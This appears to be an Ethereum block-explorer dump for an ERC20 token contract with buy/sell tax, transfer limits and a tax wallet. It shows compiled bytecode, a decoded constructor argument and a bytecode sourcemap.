90815260408083203384529091529020549190611021565b610936565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b815260040161046290611605565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104df5760405162461bcd60e51b815260040161046290611605565b6104eb6009600a6115df565b6104f990633b9aca006115ee565b6011556105086009600a6115df565b61051690633b9aca006115ee565b6012556014805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105506009600a6115df565b61055e90633b9aca006115ee565b60405190815260200160405180910390a1565b60006103a4338484610a5a565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161046290611605565b6014546301000000900460ff16156106025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610462565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064b90309061063d6009600a6115df565b61042990633b9aca006115ee565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c2919061163a565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610748919061163a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b9919061163a565b600280546001600160a01b039283166001600160a01b03199091161790556001541663f305d7193430610801816001600160a01b031660009081526005602052604090205490565b6000806108166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a39190611657565b505060025460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109209190611685565b506014805463ffff000019166301010000179055565b6001600160a01b0383166109985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610abe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038216610b205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b60008111610b825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610462565b600080546001600160a01b03858116911614801590610baf57506000546001600160a01b03848116911614155b15610f3157610be06064610bda600e5460085411610bcf57600b54610bd3565b6009545b859061105b565b906110e4565b60145490915060ff1615610cc8576001546001600160a01b03848116911614801590610c1a57506002546001600160a01b03848116911614155b15610cc857326000908152600460205260409020544311610cb55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610462565b3260009081526004602052604090204390555b6002546001600160a01b038581169116148015610cf357506001546001600160a01b03848116911614155b8015610d1857506001600160a01b03831660009081526007602052604090205460ff16155b15610e0057601154821115610d6f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610462565b60125482610d92856001600160a01b031660009081526005602052604090205490565b610d9c91906116a7565b1115610dea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610462565b60088054906000610dfa836116ba565b91905055505b6002546001600160a01b038481169116148015610e2657506001600160a01b0384163014155b8015610e4b57506001600160a01b03841660009081526007602052604090205460ff16155b15610e8d5760135481610e5e8147611126565b610e6891906116a7565b11610e8857610e83610e7c6009600a6115df565b839061105b565b610e8a565b805b90505b30600090815260056020526040902054601454610100900460ff16158015610ec257506002546001600160a01b038581169116145b8015610ed6575060145462010000900460ff165b8015610ee3575060105481115b8015610ef25750600d54600854115b15610f2f57610f14610f0f84610f0a84601354611168565b611168565b61117d565b4766b1a2bc2ec50000811115610f2d57610f2d476112f1565b505b505b8015610f6d5730600090815260056020526040902054610f51908261132f565b6003546001600160a01b03166000908152600560205260409020555b6001600160a01b038416600090815260056020526040902054610f909083611126565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610fbf908361132f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139086815260200190565b60405180910390a350505050565b600081848411156110455760405162461bcd60e51b815260040161046291906113bc565b50600061105284866116d3565b95945050505050565b60008260000361106d575060006103a8565b600061107983856115ee565b90508261108685836116e6565b146110dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610462565b9392505050565b60006110dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138e565b60006110dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611021565b600081831161117757826110dd565b50919050565b6014805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c1576111c1611708565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561121a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123e919061163a565b8160018151811061125157611251611708565b6001600160a01b0392831660209182029290920101526001546112779130911684610936565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b090859060009086903090429060040161171e565b600060405180830381600087803b1580156112ca57600080fd5b505af11580156112de573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561132b573d6000803e3d6000fd5b5050565b60008061133c83856116a7565b9050838110156110dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610462565b600081836113af5760405162461bcd60e51b815260040161046291906113bc565b50600061105284866116e6565b600060208083528351808285015260005b818110156113e9578581018301518582016040015282016113cd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141f57600080fd5b50565b6000806040838503121561143557600080fd5b82356114408161140a565b946020939093013593505050565b60008060006060848603121561146357600080fd5b833561146e8161140a565b9250602084013561147e8161140a565b929592945050506040919091013590565b6000602082840312156114a157600080fd5b81356110dd8161140a565b600080604083850312156114bf57600080fd5b82356114ca8161140a565b915060208301356114da8161140a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153657816000190482111561151c5761151c6114e5565b8085161561152957918102915b93841c9390800290611500565b509250929050565b60008261154d575060016103a8565b8161155a575060006103a8565b8160018114611570576002811461157a57611596565b60019150506103a8565b60ff84111561158b5761158b6114e5565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156115b9575081810a6103a8565b6115c383836114fb565b80600019048211156115d7576115d76114e5565b029392505050565b60006110dd60ff84168361153e565b80820281158282048414176103a8576103a86114e5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561164c57600080fd5b81516110dd8161140a565b60008060006060848603121561166c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561169757600080fd5b815180151581146110dd57600080fd5b808201808211156103a8576103a86114e5565b6000600182016116cc576116cc6114e5565b5060010190565b818103818111156103a8576103a86114e5565b60008261170357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da75c2f18982f2b96aaa3dc0b5492ae258ee922ce4e27eedf8157faa9b2149c964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007e28d009d81a3f5eb366276a0d6bb9d515afce18

-----Decoded View---------------
Arg [0] : taxWallet_ (address): 0x7e28d009d81A3f5Eb366276a0d6bB9d515aFCE18

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007e28d009d81a3f5eb366276a0d6bb9d515afce18


Deployed Bytecode Sourcemap

3546:7535:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5432:83;;;;;;;;;;-1:-1:-1;5502:5:0;;;;;;;;;;;;;;;;;5432:83;;;;;;;:::i;:::-;;;;;;;;6090:161;;;;;;;;;;-1:-1:-1;6090:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6090:161:0;1023:187:1;4623:44:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4623:44:0;1215:177:1;5836:95:0;;;;;;;;;;;;;:::i;6777:313::-;;;;;;;;;;-1:-1:-1;6777:313:0;;;;;:::i;:::-;;:::i;5650:83::-;;;;;;;;;;-1:-1:-1;5650:83:0;;4378:1;2000:36:1;;1988:2;1973:18;5650:83:0;1858:184:1;5523:119:0;;;;;;;;;;-1:-1:-1;5523:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5616:18:0;5589:7;5616:18;;;:9;:18;;;;;;;5523:119;3389:148;;;;;;;;;;;;;:::i;:::-;;9475:196;;;;;;;;;;;;;:::i;4513:47::-;;;;;;;;;;;;;;;;3175:79;;;;;;;;;;-1:-1:-1;3213:7:0;3240:6;3175:79;;-1:-1:-1;;;;;3240:6:0;;;2445:51:1;;2433:2;2418:18;3175:79:0;2299:203:1;4567:49:0;;;;;;;;;;;;;;;;5741:87;;;;;;;;;;-1:-1:-1;5813:7:0;;;;;;;;;;;;-1:-1:-1;;;5813:7:0;;;;5741:87;;6602:167;;;;;;;;;;-1:-1:-1;6602:167:0;;;;;:::i;:::-;;:::i;4453:53::-;;;;;;;;;;;;;;;;4791:39;;;;;;;;;;-1:-1:-1;4791:39:0;;;;;;;;10413:665;;;:::i;5939:143::-;;;;;;;;;;-1:-1:-1;5939:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6047:18:0;;;6020:7;6047:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5939:143;6090:161;6165:4;6182:39;2072:10;6205:7;6214:6;6182:8;:39::i;:::-;-1:-1:-1;6239:4:0;6090:161;;;;;:::o;5836:95::-;5889:7;4431:13;4378:1;4431:2;:13;:::i;:::-;4421:23;;:7;:23;:::i;:::-;5909:14;;5836:95;:::o;6777:313::-;6875:4;6892:36;6902:6;6910:9;6921:6;6892:9;:36::i;:::-;6939:121;6948:6;2072:10;6970:89;7008:6;6970:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6970:19:0;;;;;;:11;:19;;;;;;;;2072:10;6970:33;;;;;;;;;;:37;:89::i;:::-;6939:8;:121::i;:::-;-1:-1:-1;7078:4:0;6777:313;;;;;:::o;3389:148::-;3302:6;;-1:-1:-1;;;;;3302:6:0;2072:10;3302:22;3294:67;;;;-1:-1:-1;;;3294:67:0;;;;;;;:::i;:::-;;;;;;;;;3496:1:::1;3480:6:::0;;3459:40:::1;::::0;-1:-1:-1;;;;;3480:6:0;;::::1;::::0;3459:40:::1;::::0;3496:1;;3459:40:::1;3527:1;3510:19:::0;;-1:-1:-1;;;;;;3510:19:0::1;::::0;;3389:148::o;9475:196::-;3302:6;;-1:-1:-1;;;;;3302:6:0;2072:10;3302:22;3294:67;;;;-1:-1:-1;;;3294:67:0;;;;;;;:::i;:::-;4431:13:::1;4378:1;4431:2;:13;:::i;:::-;4421:23;::::0;:7:::1;:23;:::i;:::-;9528:12;:22:::0;4431:13:::1;4378:1;4431:2;:13;:::i;:::-;4421:23;::::0;:7:::1;:23;:::i;:::-;9561:14;:22:::0;9594:20:::1;:26:::0;;-1:-1:-1;;9594:26:0::1;::::0;;9636:27:::1;4431:13;4378:1;4431:2;:13;:::i;:::-;4421:23;::::0;:7:::1;:23;:::i;:::-;9636:27;::::0;1361:25:1;;;1349:2;1334:18;9636:27:0::1;;;;;;;9475:196::o:0;6602:167::-;6680:4;6697:42;2072:10;6721:9;6732:6;6697:9;:42::i;10413:665::-;3302:6;;-1:-1:-1;;;;;3302:6:0;2072:10;3302:22;3294:67;;;;-1:-1:-1;;;3294:67:0;;;;;;;:::i;:::-;10485:11:::1;::::0;;;::::1;;;10484:12;10476:47;;;::::0;-1:-1:-1;;;10476:47:0;;5151:2:1;10476:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;10476:47:0::1;4949:347:1::0;10476:47:0::1;10534:15;:78:::0;;-1:-1:-1;;;;;;10534:78:0::1;10569:42;10534:78:::0;;::::1;::::0;;;10623:58:::1;::::0;10640:4:::1;::::0;4431:13:::1;4378:1;4431:2;:13;:::i;:::-;4421:23;::::0;:7:::1;:23;:::i;10623:58::-;10726:15;;;;;;;;;-1:-1:-1::0;;;;;10726:15:0::1;-1:-1:-1::0;;;;;10726:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10708:55:0::1;;10772:4;10779:15;;;;;;;;;-1:-1:-1::0;;;;;10779:15:0::1;-1:-1:-1::0;;;;;10779:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10708:94;::::0;-1:-1:-1;;;;;;10708:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10708:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10708:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10692:13;:110:::0;;-1:-1:-1;;;;;10692:110:0;;::::1;-1:-1:-1::0;;;;;;10692:110:0;;::::1;;::::0;;;10813:15;::::1;:31;10852:9;10871:4;10877:24;10871:4:::0;-1:-1:-1;;;;;5616:18:0;5589:7;5616:18;;;:9;:18;;;;;;;5523:119;10877:24:::1;10902:1;10904::::0;10906:7:::1;3213::::0;3240:6;-1:-1:-1;;;;;3240:6:0;;3175:79;10906:7:::1;10813:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10813:117:0;;;-1:-1:-1;;;;;6225:15:1;;;10813:117:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10914:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10813:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10948:13:0::1;::::0;;10979:15;10941:71:::1;::::0;-1:-1:-1;;;10941:71:0;;-1:-1:-1;;;;;10979:15:0;;::::1;10941:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;10948:13:0;::::1;::::0;-1:-1:-1;10941:29:0::1;::::0;6936:18:1;;10941:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11023:11:0::1;:18:::0;;-1:-1:-1;;11052:18:0;;;;;10413:665::o;6259:335::-;-1:-1:-1;;;;;6352:19:0;;6344:68;;;;-1:-1:-1;;;6344:68:0;;7552:2:1;6344:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;6344:68:0;7350:400:1;6344:68:0;-1:-1:-1;;;;;6431:21:0;;6423:68;;;;-1:-1:-1;;;6423:68:0;;7957:2:1;6423:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;6423:68:0;7755:398:1;6423:68:0;-1:-1:-1;;;;;6502:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6554:32;;1361:25:1;;;6554:32:0;;1334:18:1;6554:32:0;;;;;;;6259:335;;;:::o;7098:2369::-;-1:-1:-1;;;;;7186:18:0;;7178:68;;;;-1:-1:-1;;;7178:68:0;;8360:2:1;7178:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7178:68:0;8158:401:1;7178:68:0;-1:-1:-1;;;;;7265:16:0;;7257:64;;;;-1:-1:-1;;;7257:64:0;;8766:2:1;7257:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7257:64:0;8564:399:1;7257:64:0;7349:1;7340:6;:10;7332:64;;;;-1:-1:-1;;;7332:64:0;;9170:2:1;7332:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7332:64:0;8968:405:1;7332:64:0;7407:17;3240:6;;-1:-1:-1;;;;;7441:15:0;;;3240:6;;7441:15;;;;:32;;-1:-1:-1;3213:7:0;3240:6;-1:-1:-1;;;;;7460:13:0;;;3240:6;;7460:13;;7441:32;7437:1764;;;7502:76;7574:3;7502:67;7524:15;;7514:9;;:25;7513:55;;7554:14;;7513:55;;;7541:12;;7513:55;7502:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7599:20;;7490:88;;-1:-1:-1;7599:20:0;;7595:508;;;7660:15;;-1:-1:-1;;;;;7646:30:0;;;7660:15;;7646:30;;;;:62;;-1:-1:-1;7694:13:0;;-1:-1:-1;;;;;7680:28:0;;;7694:13;;7680:28;;7646:62;7642:444;;;7800:9;7771:39;;;;:28;:39;;;;;;7844:12;-1:-1:-1;7735:250:0;;;;-1:-1:-1;;;7735:250:0;;9580:2:1;7735:250:0;;;9562:21:1;9619:2;9599:18;;;9592:30;9658:34;9638:18;;;9631:62;9729:34;9709:18;;;9702:62;-1:-1:-1;;;9780:19:1;;;9773:40;9830:19;;7735:250:0;9378:477:1;7735:250:0;8039:9;8010:39;;;;:28;:39;;;;;8052:12;8010:54;;7642:444;8131:13;;-1:-1:-1;;;;;8123:21:0;;;8131:13;;8123:21;:55;;;;-1:-1:-1;8162:15:0;;-1:-1:-1;;;;;8148:30:0;;;8162:15;;8148:30;;8123:55;:83;;;;-1:-1:-1;;;;;;8184:22:0;;;;;;:18;:22;;;;;;;;8182:24;8123:83;8119:313;;;8246:12;;8236:6;:22;;8228:60;;;;-1:-1:-1;;;8228:60:0;;10062:2:1;8228:60:0;;;10044:21:1;10101:2;10081:18;;;10074:30;10140:27;10120:18;;;10113:55;10185:18;;8228:60:0;9860:349:1;8228:60:0;8341:14;;8331:6;8315:13;8325:2;-1:-1:-1;;;;;5616:18:0;5589:7;5616:18;;;:9;:18;;;;;;;5523:119;8315:13;:22;;;;:::i;:::-;:40;;8307:79;;;;-1:-1:-1;;;8307:79:0;;10546:2:1;8307:79:0;;;10528:21:1;10585:2;10565:18;;;10558:30;10624:28;10604:18;;;10597:56;10670:18;;8307:79:0;10344:350:1;8307:79:0;8405:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8119:313;8457:13;;-1:-1:-1;;;;;8451:19:0;;;8457:13;;8451:19;:43;;;;-1:-1:-1;;;;;;8474:20:0;;8489:4;8474:20;;8451:43;:73;;;;-1:-1:-1;;;;;;8500:24:0;;;;;;:18;:24;;;;;;;;8498:26;8451:73;8448:219;;;8604:11;;8594:9;8557:36;8594:9;8571:21;8557:13;:36::i;:::-;:46;;;;:::i;:::-;:58;:94;;8626:25;8637:13;4378:1;8637:2;:13;:::i;:::-;8626:6;;:10;:25::i;:::-;8557:94;;;8616:9;8557:94;8545:106;;8448:219;8732:4;8683:28;5616:18;;;:9;:18;;;;;;8758:6;;;;;;;8757:7;:32;;;;-1:-1:-1;8776:13:0;;-1:-1:-1;;;;;8768:21:0;;;8776:13;;8768:21;8757:32;:47;;;;-1:-1:-1;8793:11:0;;;;;;;8757:47;:89;;;;;8829:17;;8808:20;:38;8757:89;:121;;;;;8860:18;;8850:9;;:28;8757:121;8753:437;;;8899:67;8916:49;8920:6;8927:37;8931:20;8952:11;;8927:3;:37::i;:::-;8916:3;:49::i;:::-;8899:16;:67::i;:::-;9014:21;9078:17;9057:38;;9054:121;;;9120:35;9133:21;9120:12;:35::i;:::-;8880:310;8753:437;7475:1726;7437:1764;9216:11;;9213:101;;9281:4;9263:24;;;;:9;:24;;;;;;:39;;9292:9;9263:28;:39::i;:::-;9251:10;;-1:-1:-1;;;;;9251:10:0;9241:21;;;;:9;:21;;;;;:61;9213:101;-1:-1:-1;;;;;9340:15:0;;;;;;:9;:15;;;;;;:27;;9360:6;9340:19;:27::i;:::-;-1:-1:-1;;;;;9324:15:0;;;;;;;:9;:15;;;;;;:43;;;;9392:13;;;;;;;:25;;9410:6;9392:17;:25::i;:::-;-1:-1:-1;;;;;9378:13:0;;;;;;;:9;:13;;;;;;;:39;;;;9433:26;;;;;;;;;;9452:6;1361:25:1;;1349:2;1334:18;;1215:177;9433:26:0;;;;;;;;7167:2300;7098:2369;;;:::o;490:190::-;576:7;612:12;604:6;;;;596:29;;;;-1:-1:-1;;;596:29:0;;;;;;;;:::i;:::-;-1:-1:-1;636:9:0;648:5;652:1;648;:5;:::i;:::-;636:17;490:190;-1:-1:-1;;;;;490:190:0:o;688:246::-;746:7;770:1;775;770:6;766:47;;-1:-1:-1;800:1:0;793:8;;766:47;823:9;835:5;839:1;835;:5;:::i;:::-;823:17;-1:-1:-1;868:1:0;859:5;863:1;823:17;859:5;:::i;:::-;:10;851:56;;;;-1:-1:-1;;;851:56:0;;11396:2:1;851:56:0;;;11378:21:1;11435:2;11415:18;;;11408:30;11474:34;11454:18;;;11447:62;-1:-1:-1;;;11525:18:1;;;11518:31;11566:19;;851:56:0;11194:397:1;851:56:0;925:1;688:246;-1:-1:-1;;;688:246:0:o;942:132::-;1000:7;1027:39;1031:1;1034;1027:39;;;;;;;;;;;;;;;;;:3;:39::i;346:136::-;404:7;431:43;435:1;438;431:43;;;;;;;;;;;;;;;;;:3;:43::i;10170:98::-;10227:7;10254:1;10252;:3;10251:9;;10259:1;10251:9;;;-1:-1:-1;10257:1:0;10170:98;-1:-1:-1;10170:98:0:o;9679:483::-;4975:6;:13;;-1:-1:-1;;4975:13:0;;;;;9781:16:::1;::::0;;9795:1:::1;9781:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9781:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9781:16:0::1;9757:40;;9826:4;9808;9813:1;9808:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9808:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9852:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9852:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9808:7;;9852:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9842:4;9847:1;9842:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9842:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9917:15:::1;::::0;9885:62:::1;::::0;9902:4:::1;::::0;9917:15:::1;9935:11:::0;9885:8:::1;:62::i;:::-;9958:15;::::0;:196:::1;::::0;-1:-1:-1;;;9958:196:0;;-1:-1:-1;;;;;9958:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10039:11;;9958:15:::1;::::0;10081:4;;10108::::1;::::0;10128:15:::1;::::0;9958:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5011:6:0;:14;;-1:-1:-1;;5011:14:0;;;-1:-1:-1;;;;9679:483:0:o;10276:92::-;10333:10;;:27;;-1:-1:-1;;;;;10333:10:0;;;;:27;;;;;10353:6;;10333:10;:27;:10;:27;10353:6;10333:10;:27;;;;;;;;;;;;;;;;;;;;;10276:92;:::o;159:179::-;217:7;;249:5;253:1;249;:5;:::i;:::-;237:17;;278:1;273;:6;;265:46;;;;-1:-1:-1;;;265:46:0;;13047:2:1;265:46:0;;;13029:21:1;13086:2;13066:18;;;13059:30;13125:29;13105:18;;;13098:57;13172:18;;265:46:0;12845:351:1;1082:189:0;1168:7;1203:12;1196:5;1188:28;;;;-1:-1:-1;;;1188:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1227:9:0;1239:5;1243:1;1239;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;